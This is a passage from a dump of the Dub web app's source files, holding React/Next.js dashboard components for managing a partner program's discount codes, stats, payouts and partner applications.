icon={<Trash className=\"size-3.5 shrink-0 text-neutral-600\" />}\n            variant=\"outline\"\n            className=\"size-8 whitespace-nowrap\"\n            onClick={() => {\n              setSelectedDiscountCode(row.original);\n              setShowDeleteDiscountCodeModal(true);\n            }}\n          />\n        ),\n      },\n    ],\n    resourceName: (p) => `discount code${p ? \"s\" : \"\"}`,\n    thClassName: (id) =>\n      cn(id === \"total\" && \"[&>div]:justify-end\", \"border-l-0\"),\n    tdClassName: (id) => cn(id === \"total\" && \"text-right\", \"border-l-0\"),\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    loading,\n    error: error ? \"Failed to load discount codes\" : undefined,\n  } as any);\n\n  const disabledReason = useMemo(() => {\n    if (!stripeConnectId) {\n      return (\n        <TooltipContent\n          title=\"Your workspace isn't connected to Stripe yet. Please install the Dub Stripe app in settings to create discount codes.\"\n          cta=\"Install Stripe app\"\n          href={`/${slug}/settings/integrations/stripe`}\n          target=\"_blank\"\n        />\n      );\n    }\n\n    if (!partner.discountId) {\n      return \"No discount assigned to this partner group. Please add a discount before you can create a discount code.\";\n    }\n\n    if (partner.links?.length === 0) {\n      return \"No links assigned to this partner group. Please add a link before you can create a discount code.\";\n    }\n\n    if (partner.links?.length === discountCodes?.length) {\n      return \"All links have a discount code assigned to them. Please add a new link before you can create a discount code.\";\n    }\n\n    return undefined;\n  }, [partner.discountId, partner.links, discountCodes, stripeConnectId]);\n\n  return (\n    <>\n      <div className=\"flex items-end justify-between gap-4\">\n        <h2 className=\"text-content-emphasis text-lg font-semibold\">\n          Discount codes\n        </h2>\n        <Button\n          variant=\"secondary\"\n          text=\"Create code\"\n          className=\"h-8 w-fit rounded-lg px-3 py-2 font-medium\"\n          onClick={() => setShowAddDiscountCodeModal(true)}\n          disabled={!!disabledReason}\n          disabledTooltip={disabledReason}\n        />\n      </div>\n\n      {loading ? (\n        <div className=\"flex justify-center py-16\">\n          <LoadingSpinner />\n        </div>\n      ) : !error && (!discountCodes || discountCodes.length === 0) ? (\n        <div className=\"flex flex-col items-center justify-center gap-2 rounded-lg border border-neutral-200 bg-neutral-50 py-6\">\n          <Tag className=\"mb-2 size-6 text-neutral-900\" />\n          <h3 className=\"text-content-emphasis text-sm font-semibold leading-5\">\n            No codes created\n          </h3>\n          <p className=\"text-content-default -mt-1 text-sm font-medium leading-5\">\n            Create a discount code for each link\n          </p>\n        </div>\n      ) : error ? (\n        <div className=\"flex justify-center py-16\">\n          <span className=\"text-content-subtle text-sm\">\n            Failed to load discount codes\n          </span>\n        </div>\n      ) : (\n        <Table {...table} />\n      )}\n\n      <AddDiscountCodeModal />\n\n      {selectedDiscountCode && (\n        <DeleteDiscountCodeModal\n          showModal={showDeleteDiscountCodeModal}\n          setShowModal={setShowDeleteDiscountCodeModal}\n          discountCode={selectedDiscountCode}\n        />\n      )}\n    </>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/[partnerId]/partner-nav.tsx",
    "content": "\"use client\";\n\nimport { usePartnerCommentsCount } from \"@/lib/swr/use-partner-comments-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PageNavTabs } from \"@/ui/layout/page-nav-tabs\";\nimport {\n  Hyperlink,\n  InvoiceDollar,\n  LinesY,\n  MoneyBills2,\n  Msg,\n  UserCheck,\n} from \"@dub/ui\";\nimport { useParams, usePathname } from \"next/navigation\";\nimport { useMemo } from \"react\";\n\nexport function PartnerNav() {\n  const pathname = usePathname();\n  const { partnerId } = useParams() as { partnerId: string };\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const { count: commentsCount } = usePartnerCommentsCount(\n    {\n      partnerId,\n    },\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const tabs = useMemo(\n    () => [\n      {\n        id: \"links\",\n        label: \"Links\",\n        icon: Hyperlink,\n      },\n      {\n        id: \"payouts\",\n        label: \"Payouts\",\n        icon: MoneyBills2,\n      },\n      {\n        id: \"customers\",\n        label: \"Customers\",\n        icon: UserCheck,\n      },\n      {\n        id: \"comments\",\n        label: \"Comments\",\n        badge: commentsCount\n          ? commentsCount > 99\n            ? \"99+\"\n            : commentsCount\n          : undefined,\n        icon: Msg,\n      },\n    ],\n    [commentsCount],\n  );\n\n  const quickLinks = useMemo(\n    () => [\n      {\n        id: \"analytics\",\n        label: \"Analytics\",\n        icon: LinesY,\n        href: `/${workspaceSlug}/program/analytics?partnerId=${partnerId}`,\n      },\n      {\n        id: \"commissions\",\n        label: \"Commissions\",\n        icon: InvoiceDollar,\n        href: `/${workspaceSlug}/program/commissions?partnerId=${partnerId}`,\n      },\n    ],\n    [workspaceSlug, partnerId],\n  );\n\n  return (\n    <PageNavTabs\n      basePath={`/${workspaceSlug}/program/partners/${partnerId}`}\n      tabs={tabs}\n      quickLinks={quickLinks}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/[partnerId]/partner-stats.tsx",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { ArrowUpRight2 } from \"@dub/ui\";\nimport { cn, currencyFormatter, nFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\n\nexport function PartnerStats({\n  partner,\n  error,\n}: {\n  partner?: EnrolledPartnerProps;\n  error?: boolean;\n}) {\n  const { slug } = useParams() as { slug: string };\n  return (\n    <div className=\"@container/stats\">\n      <div\n        className={cn(\n          \"@[695px]/stats:grid-cols-6 @xs/stats:grid-cols-3 grid grid-cols-2 ring-4 ring-black/5\",\n          \"gap-px overflow-hidden rounded-lg border border-neutral-200 bg-neutral-200\",\n        )}\n      >\n        {[\n          {\n            label: \"Clicks\",\n            value: partner\n              ? Number.isNaN(partner.totalClicks)\n                ? \"-\"\n                : nFormatter(partner.totalClicks, { full: true })\n              : error\n                ? \"-\"\n                : undefined,\n            href: partner?.id\n              ? `/${slug}/events?event=clicks&partnerId=${partner.id}&interval=1y`\n              : undefined,\n          },\n          {\n            label: \"Leads\",\n            value: partner\n              ? Number.isNaN(partner.totalLeads)\n                ? \"-\"\n                : nFormatter(partner.totalLeads, { full: true })\n              : error\n                ? \"-\"\n                : undefined,\n            href: partner?.id\n              ? `/${slug}/events?event=leads&partnerId=${partner.id}&interval=1y`\n              : undefined,\n          },\n          {\n            label: \"Conversions\",\n            value: partner\n              ? Number.isNaN(partner.totalConversions)\n                ? \"-\"\n                : nFormatter(partner.totalConversions, { full: true })\n              : error\n                ? \"-\"\n                : undefined,\n            href: partner?.id\n              ? `/${slug}/events?event=sales&partnerId=${partner.id}&interval=1y`\n              : undefined,\n          },\n          {\n            label: \"Revenue\",\n            value: partner\n              ? Number.isNaN(partner.totalSaleAmount)\n                ? \"-\"\n                : currencyFormatter(partner.totalSaleAmount ?? 0, {\n                    trailingZeroDisplay: \"stripIfInteger\",\n                  })\n              : error\n                ? \"-\"\n                : undefined,\n            href: partner?.id\n              ? `/${slug}/events?event=sales&partnerId=${partner.id}&interval=1y`\n              : undefined,\n          },\n          {\n            label: \"Commissions\",\n            value: partner\n              ? Number.isNaN(partner.totalCommissions)\n                ? \"-\"\n                : currencyFormatter(partner.totalCommissions ?? 0)\n              : error\n                ? \"-\"\n                : undefined,\n            href: partner?.id\n              ? `/${slug}/program/commissions?partnerId=${partner.id}`\n              : undefined,\n          },\n          {\n            label: \"Net revenue\",\n            value: partner\n              ? Number.isNaN(partner.netRevenue)\n                ? \"-\"\n                : currencyFormatter(partner.netRevenue ?? 0)\n              : error\n                ? \"-\"\n                : undefined,\n            href: partner?.id\n              ? `/${slug}/events?event=sales&partnerId=${partner.id}&interval=1y`\n              : undefined,\n          },\n        ].map(({ label, value, href }) => {\n          const As = href ? Link : \"div\";\n          return (\n            <As\n              key={label}\n              href={href ?? \"#\"}\n              target=\"_blank\"\n              className=\"group relative flex flex-col bg-white p-3 transition-colors duration-150 hover:bg-neutral-50\"\n            >\n              <ArrowUpRight2 className=\"text-content-subtle absolute right-3 top-3 size-3.5 opacity-50 transition-opacity duration-150 group-hover:opacity-100\" />\n              <span className=\"text-xs text-neutral-500\">{label}</span>\n              {value === undefined ? (\n                <div className=\"h-5 w-16 animate-pulse rounded-md bg-neutral-200\" />\n              ) : (\n                <span className=\"text-content-emphasis text-sm font-medium\">\n                  {value}\n                </span>\n              )}\n            </As>\n          );\n        })}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/[partnerId]/payouts/page.tsx",
    "content": "\"use client\";\n\nimport usePartner from \"@/lib/swr/use-partner\";\nimport usePayouts from \"@/lib/swr/use-payouts\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport {\n  CircleArrowRight,\n  LoadingSpinner,\n  StatusBadge,\n  Table,\n  buttonVariants,\n  useTable,\n} from \"@dub/ui\";\nimport { cn, currencyFormatter, formatPeriod } from \"@dub/utils\";\nimport { PayoutPaidCell } from \"app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/payout-paid-cell\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\n\nexport default function ProgramPartnerPayoutsPage() {\n  const { partnerId } = useParams() as { partnerId: string };\n  const { partner, error } = usePartner({ partnerId });\n\n  return partner ? (\n    <PartnerPayouts partner={partner} />\n  ) : (\n    <div className=\"flex justify-center py-16\">\n      {error ? (\n        <span className=\"text-content-subtle text-sm\">\n          Failed to load partner payouts\n        </span>\n      ) : (\n        <LoadingSpinner />\n      )}\n    </div>\n  );\n}\n\nfunction PartnerPayouts({ partner }: { partner: EnrolledPartnerProps }) {\n  const { slug } = useWorkspace();\n\n  const {\n    payouts,\n    error: payoutsError,\n    loading,\n  } = usePayouts({\n    query: {\n      partnerId: partner.id,\n      pageSize: 10,\n      sortBy: \"initiatedAt\",\n      sortOrder: \"desc\",\n    },\n  });\n\n  const table = useTable({\n    data: payouts || [],\n    loading: loading,\n    error: payoutsError ? \"Failed to load payouts\" : undefined,\n    columns: [\n      {\n        header: \"Period\",\n        accessorFn: (d) => formatPeriod(d),\n      },\n      {\n        header: \"Status\",\n        cell: ({ row }) => {\n          const badge = PayoutStatusBadges[row.original.status];\n          return badge ? (\n            <StatusBadge icon={badge.icon} variant={badge.variant}>\n              {badge.label}\n            </StatusBadge>\n          ) : (\n            \"-\"\n          );\n        },\n      },\n\n      {\n        header: \"Paid\",\n        cell: ({ row }) => (\n          <PayoutPaidCell\n            initiatedAt={row.original.initiatedAt}\n            paidAt={row.original.paidAt}\n            user={row.original.user}\n          />\n        ),\n      },\n      {\n        id: \"amount\",\n        header: \"Amount\",\n        cell: ({ row }) => {\n          return (\n            <div className=\"flex items-center gap-1.5\">\n              {currencyFormatter(row.original.amount)}\n              {row.original.mode === \"external\" && (\n                <CircleArrowRight className=\"size-3.5 shrink-0\" />\n              )}\n            </div>\n          );\n        },\n      },\n    ],\n    onRowClick: (row) => {\n      window.open(\n        `/${slug}/program/payouts?partnerId=${partner.id}&payoutId=${row.original.id}&sortBy=initiatedAt`,\n        \"_blank\",\n      );\n    },\n    resourceName: (p) => `payout${p ? \"s\" : \"\"}`,\n    thClassName: () => \"border-l-0\",\n    tdClassName: () => \"border-l-0\",\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    emptyState: \"No payouts yet\",\n  } as any);\n\n  return (\n    <>\n      <div className=\"flex items-end justify-between gap-4\">\n        <h2 className=\"text-content-emphasis text-lg font-semibold\">Payouts</h2>\n        {Boolean(payouts?.length) && (\n          <Link\n            href={`/${slug}/program/payouts?partnerId=${partner.id}`}\n            target=\"_blank\"\n            className={cn(\n              buttonVariants({ variant: \"secondary\" }),\n              \"flex h-7 items-center rounded-lg border px-2 text-sm\",\n            )}\n          >\n            View all\n          </Link>\n        )}\n      </div>\n      <div className=\"mt-4\">\n        {payouts || payoutsError ? (\n          <Table {...table} />\n        ) : (\n          <div className=\"flex justify-center py-16\">\n            <LoadingSpinner />\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/applications/applications-menu.tsx",
    "content": "\"use client\";\n\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useApplicationSettingsModal } from \"@/ui/modals/application-settings-modal\";\nimport { useExportApplicationsModal } from \"@/ui/modals/export-applications-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, Popover, useMediaQuery, UserXmark } from \"@dub/ui\";\nimport { Download } from \"@dub/ui/icons\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\n\nexport function ApplicationsMenu() {\n  const router = useRouter();\n\n  const { slug: workspaceSlug } = useWorkspace();\n  const { program } = useProgram();\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { setShowExportApplicationsModal, ExportApplicationsModal } =\n    useExportApplicationsModal();\n\n  const { setShowApplicationSettingsModal, ApplicationSettingsModal } =\n    useApplicationSettingsModal();\n\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <>\n      <ApplicationSettingsModal />\n      <ExportApplicationsModal />\n      <Button\n        text={isMobile ? \"Settings\" : \"Application settings\"}\n        onClick={() => setShowApplicationSettingsModal(true)}\n        variant=\"secondary\"\n      />\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <div className=\"grid w-full gap-px p-2 md:w-56\">\n            <button\n              onClick={() => {\n                router.push(\n                  `/${workspaceSlug}/program/partners/applications/rejected`,\n                );\n                setIsOpen(false);\n              }}\n              className=\"w-full rounded-md p-2 hover:bg-neutral-100 active:bg-neutral-200\"\n            >\n              <div className=\"flex items-center gap-2 text-left\">\n                <UserXmark className=\"size-4 shrink-0\" />\n                <span className=\"text-sm font-medium\">\n                  View rejected partners\n                </span>\n              </div>\n            </button>\n\n            <button\n              onClick={() => {\n                setShowExportApplicationsModal(true);\n                setIsOpen(false);\n              }}\n              className=\"w-full rounded-md p-2 hover:bg-neutral-100 active:bg-neutral-200\"\n            >\n              <div className=\"flex items-center gap-2 text-left\">\n                <Download className=\"size-4 shrink-0\" />\n                <span className=\"text-sm font-medium\">Export as CSV</span>\n              </div>\n            </button>\n          </div>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"whitespace-nowrap px-2\"\n          variant=\"secondary\"\n          disabled={!program}\n          icon={<ThreeDots className=\"size-4 shrink-0\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/applications/page-client.tsx",
    "content": "\"use client\";\n\nimport { buildSocialPlatformLookup } from \"@/lib/social-utils\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useGroups from \"@/lib/swr/use-groups\";\nimport usePartner from \"@/lib/swr/use-partner\";\nimport usePartnersCount from \"@/lib/swr/use-partners-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps, PartnerPlatformProps } from \"@/lib/types\";\nimport { useBulkApprovePartnersModal } from \"@/ui/modals/bulk-approve-partners-modal\";\nimport { useBulkRejectPartnersModal } from \"@/ui/modals/bulk-reject-partners-modal\";\nimport { useRejectPartnerApplicationModal } from \"@/ui/modals/reject-partner-application-modal\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { PartnerApplicationSheet } from \"@/ui/partners/partner-application-sheet\";\nimport { PartnerRowItem } from \"@/ui/partners/partner-row-item\";\nimport { PartnerSocialColumn } from \"@/ui/partners/partner-social-column\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  EditColumnsButton,\n  Filter,\n  MenuItem,\n  Popover,\n  Table,\n  useColumnVisibility,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { Dots, Users, UserXmark } from \"@dub/ui/icons\";\nimport { COUNTRIES, fetcher, formatDate } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport useSWR from \"swr\";\nimport { usePartnerFilters } from \"../use-partner-filters\";\n\nconst applicationsColumns = {\n  all: [\n    \"partner\",\n    \"createdAt\",\n    \"location\",\n    \"website\",\n    \"youtube\",\n    \"twitter\",\n    \"linkedin\",\n    \"instagram\",\n    \"tiktok\",\n  ],\n  defaultVisible: [\n    \"partner\",\n    \"createdAt\",\n    \"location\",\n    \"website\",\n    \"youtube\",\n    \"linkedin\",\n  ],\n};\n\nexport function ProgramPartnersApplicationsPageClient() {\n  const { id: workspaceId } = useWorkspace();\n  const { queryParams, searchParams, getQueryString } = useRouterStuff();\n\n  const search = searchParams.get(\"search\");\n  const sortBy = searchParams.get(\"sortBy\") || \"createdAt\";\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n  } = usePartnerFilters({ sortBy, sortOrder, status: \"pending\" }, [\n    \"groupId\",\n    \"country\",\n  ]);\n\n  const { partnersCount, error: countError } = usePartnersCount<number>({\n    status: \"pending\",\n  });\n\n  const {\n    data: partners,\n    error,\n    isValidating,\n  } = useSWR<EnrolledPartnerProps[]>(\n    `/api/partners${getQueryString(\n      {\n        workspaceId,\n        status: \"pending\",\n        sortBy,\n        sortOrder,\n        includePartnerPlatforms: true,\n      },\n      { exclude: [\"partnerId\"] },\n    )}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n      revalidateOnFocus: false,\n    },\n  );\n\n  const { groups } = useGroups();\n\n  // Create a separate map for platform lookups by partner ID\n  const platformsMapByPartnerId = useMemo(() => {\n    const map = new Map<\n      string,\n      Record<PlatformType, PartnerPlatformProps | null>\n    >();\n\n    partners?.forEach((partner) => {\n      if (partner.platforms) {\n        map.set(partner.id, buildSocialPlatformLookup(partner.platforms));\n      }\n    });\n    return map;\n  }, [partners]);\n\n  const [detailsSheetState, setDetailsSheetState] = useState<\n    | { open: false; partnerId: string | null }\n    | { open: true; partnerId: string }\n  >({ open: false, partnerId: null });\n\n  useEffect(() => {\n    const partnerId = searchParams.get(\"partnerId\");\n    if (partnerId) setDetailsSheetState({ open: true, partnerId });\n  }, [searchParams]);\n\n  const { currentPartner, isLoading: isCurrentPartnerLoading } =\n    useCurrentPartner({\n      partners,\n      partnerId: detailsSheetState.partnerId,\n    });\n\n  // State for pending bulk actions\n  const [pendingApprovePartners, setPendingApprovePartners] = useState<\n    EnrolledPartnerProps[]\n  >([]);\n\n  const [pendingRejectPartners, setPendingRejectPartners] = useState<\n    EnrolledPartnerProps[]\n  >([]);\n\n  const { setShowBulkApprovePartnersModal, BulkApprovePartnersModal } =\n    useBulkApprovePartnersModal({\n      partners: pendingApprovePartners,\n    });\n\n  const { setShowBulkRejectPartnersModal, BulkRejectPartnersModal } =\n    useBulkRejectPartnersModal({\n      partners: pendingRejectPartners,\n    });\n\n  const { columnVisibility, setColumnVisibility } = useColumnVisibility(\n    \"applications-table-columns\",\n    applicationsColumns,\n  );\n\n  const { pagination, setPagination } = usePagination();\n\n  const columns = useMemo(\n    () => [\n      {\n        id: \"partner\",\n        header: \"Applicant\",\n        enableHiding: false,\n        minSize: 250,\n        cell: ({ row }) => {\n          return (\n            <PartnerRowItem\n              partner={row.original}\n              showPermalink={false}\n              showFraudIndicator={true}\n            />\n          );\n        },\n      },\n      {\n        id: \"createdAt\",\n        header: \"Applied\",\n        accessorFn: (d) => formatDate(d.createdAt, { month: \"short\" }),\n      },\n      {\n        id: \"group\",\n        header: \"Group\",\n        enableHiding: false,\n        minSize: 150,\n        cell: ({ row }) => {\n          if (!groups || !row.original.groupId) {\n            return \"-\";\n          }\n\n          const partnerGroup = groups.find(\n            (g) => g.id === row.original.groupId,\n          );\n\n          if (!partnerGroup) {\n            return \"-\";\n          }\n\n          return (\n            <div className=\"flex items-center gap-2\">\n              <GroupColorCircle group={partnerGroup} />\n              <span className=\"truncate text-sm font-medium\">\n                {partnerGroup.name}\n              </span>\n            </div>\n          );\n        },\n      },\n      {\n        id: \"location\",\n        header: \"Location\",\n        minSize: 150,\n        cell: ({ row }) => {\n          const country = row.original.country;\n          return (\n            <div className=\"flex items-center gap-2\">\n              {country && (\n                <img\n                  alt={`${country} flag`}\n                  src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                  className=\"size-4 shrink-0\"\n                />\n              )}\n              <span className=\"min-w-0 truncate\">\n                {(country ? COUNTRIES[country] : null) ?? \"-\"}\n              </span>\n            </div>\n          );\n        },\n      },\n      // Socials\n      {\n        id: \"website\",\n        header: \"Website\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.website}\n              platformName=\"website\"\n            />\n          );\n        },\n      },\n      {\n        id: \"youtube\",\n        header: \"YouTube\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.youtube}\n              platformName=\"youtube\"\n            />\n          );\n        },\n      },\n      {\n        id: \"twitter\",\n        header: \"X/Twitter\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.twitter}\n              platformName=\"twitter\"\n            />\n          );\n        },\n      },\n      {\n        id: \"linkedin\",\n        header: \"LinkedIn\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.linkedin}\n              platformName=\"linkedin\"\n            />\n          );\n        },\n      },\n      {\n        id: \"instagram\",\n        header: \"Instagram\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.instagram}\n              platformName=\"instagram\"\n            />\n          );\n        },\n      },\n      {\n        id: \"tiktok\",\n        header: \"TikTok\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.tiktok}\n              platformName=\"tiktok\"\n            />\n          );\n        },\n      },\n\n      // Menu\n      {\n        id: \"menu\",\n        enableHiding: false,\n        header: ({ table }) => <EditColumnsButton table={table} />,\n        cell: ({ row }) => (\n          <RowMenuButton row={row} workspaceId={workspaceId!} />\n        ),\n      },\n    ],\n    [workspaceId, groups, platformsMapByPartnerId],\n  );\n\n  const { table, ...tableProps } = useTable<EnrolledPartnerProps>({\n    data: partners || [],\n    columns,\n    columnPinning: { right: [\"menu\"] },\n    onRowClick: (row) => {\n      queryParams({\n        set: {\n          partnerId: row.original.id,\n        },\n        scroll: false,\n      });\n    },\n    pagination,\n    onPaginationChange: setPagination,\n    columnVisibility,\n    onColumnVisibilityChange: setColumnVisibility,\n    sortableColumns: [\"createdAt\"],\n    sortBy,\n    sortOrder,\n    onSortChange: ({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n\n    getRowId: (row) => row.id,\n    selectionControls: (table) => (\n      <>\n        <Button\n          variant=\"primary\"\n          text=\"Approve\"\n          className=\"h-7 w-fit rounded-lg px-2.5\"\n          onClick={() => {\n            const partners = table\n              .getSelectedRowModel()\n              .rows.map((row) => row.original);\n\n            setPendingApprovePartners(partners);\n            setShowBulkApprovePartnersModal(true);\n          }}\n        />\n        <Button\n          variant=\"secondary\"\n          text=\"Reject\"\n          className=\"h-7 w-fit rounded-lg px-2.5\"\n          onClick={() => {\n            const selectedPartners = table\n              .getSelectedRowModel()\n              .rows.map((row) => row.original);\n\n            setPendingRejectPartners(selectedPartners);\n            setShowBulkRejectPartnersModal(true);\n          }}\n        />\n      </>\n    ),\n\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `application${p ? \"s\" : \"\"}`,\n    rowCount: partnersCount || 0,\n    loading: isValidating || isCurrentPartnerLoading,\n    error: error || countError ? \"Failed to load applications\" : undefined,\n  });\n\n  const [previousPartnerId, nextPartnerId] = useMemo(() => {\n    if (!partners || !detailsSheetState.partnerId) return [null, null];\n\n    const currentIndex = partners.findIndex(\n      ({ id }) => id === detailsSheetState.partnerId,\n    );\n    if (currentIndex === -1) return [null, null];\n\n    return [\n      currentIndex > 0 ? partners[currentIndex - 1].id : null,\n      currentIndex < partners.length - 1 ? partners[currentIndex + 1].id : null,\n    ];\n  }, [partners, detailsSheetState.partnerId]);\n\n  return (\n    <div className=\"flex flex-col gap-6\">\n      {detailsSheetState.partnerId && currentPartner && (\n        <PartnerApplicationSheet\n          isOpen={detailsSheetState.open}\n          setIsOpen={(open) =>\n            setDetailsSheetState((s) => ({ ...s, open }) as any)\n          }\n          partner={currentPartner}\n          onPrevious={\n            previousPartnerId\n              ? () =>\n                  queryParams({\n                    set: { partnerId: previousPartnerId },\n                    scroll: false,\n                  })\n              : undefined\n          }\n          onNext={\n            nextPartnerId\n              ? () =>\n                  queryParams({\n                    set: { partnerId: nextPartnerId },\n                    scroll: false,\n                  })\n              : undefined\n          }\n        />\n      )}\n      <BulkApprovePartnersModal />\n      <BulkRejectPartnersModal />\n\n      <div>\n        <div className=\"flex flex-col gap-3 md:flex-row md:items-center md:justify-between\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n          />\n          <SearchBoxPersisted\n            placeholder=\"Search by name, email, or company\"\n            inputClassName=\"md:w-80\"\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={filters}\n                  activeFilters={activeFilters}\n                  onSelect={onSelect}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n      {partners?.length !== 0 ? (\n        <Table {...tableProps} table={table} />\n      ) : (\n        <AnimatedEmptyState\n          title=\"No applications found\"\n          description={`No applications found${isFiltered || search ? \" for the selected filters\" : \" for this program\"}.`}\n          cardContent={() => (\n            <>\n              <Users className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n        />\n      )}\n    </div>\n  );\n}\n\nfunction RowMenuButton({\n  row,\n  workspaceId,\n}: {\n  row: Row<EnrolledPartnerProps>;\n  workspaceId: string;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  const {\n    RejectPartnerApplicationModal,\n    setShowRejectPartnerApplicationModal,\n  } = useRejectPartnerApplicationModal({\n    partner: row.original,\n    onConfirm: async () => {\n      await mutatePrefix([\"/api/partners\", \"/api/partners/count\"]);\n    },\n  });\n\n  return (\n    <>\n      {RejectPartnerApplicationModal}\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"focus:outline-none\">\n            <Command.List className=\"flex w-screen flex-col gap-1 p-1.5 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[200px]\">\n              <MenuItem\n                as={Command.Item}\n                icon={UserXmark}\n                variant=\"danger\"\n                onSelect={() => {\n                  setIsOpen(false);\n                  setShowRejectPartnerApplicationModal(true);\n                }}\n              >\n                Reject application\n              </MenuItem>\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n          variant=\"outline\"\n          icon={<Dots className=\"size-4 shrink-0\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n\n/** Gets the current partner from the loaded partners array if available, or a separate fetch if not */\nfunction useCurrentPartner({\n  partners,\n  partnerId,\n}: {\n  partners?: EnrolledPartnerProps[];\n  partnerId: string | null;\n}) {\n  let currentPartner = partnerId\n    ? partners?.find(({ id }) => id === partnerId)\n    : null;\n\n  const { partner: fetchedPartner, loading: isLoading } = usePartner(\n    {\n      partnerId: partners && partnerId && !currentPartner ? partnerId : null,\n    },\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  if (!currentPartner && fetchedPartner?.id === partnerId) {\n    currentPartner = fetchedPartner;\n  }\n\n  return { currentPartner, isLoading };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/applications/page.tsx",
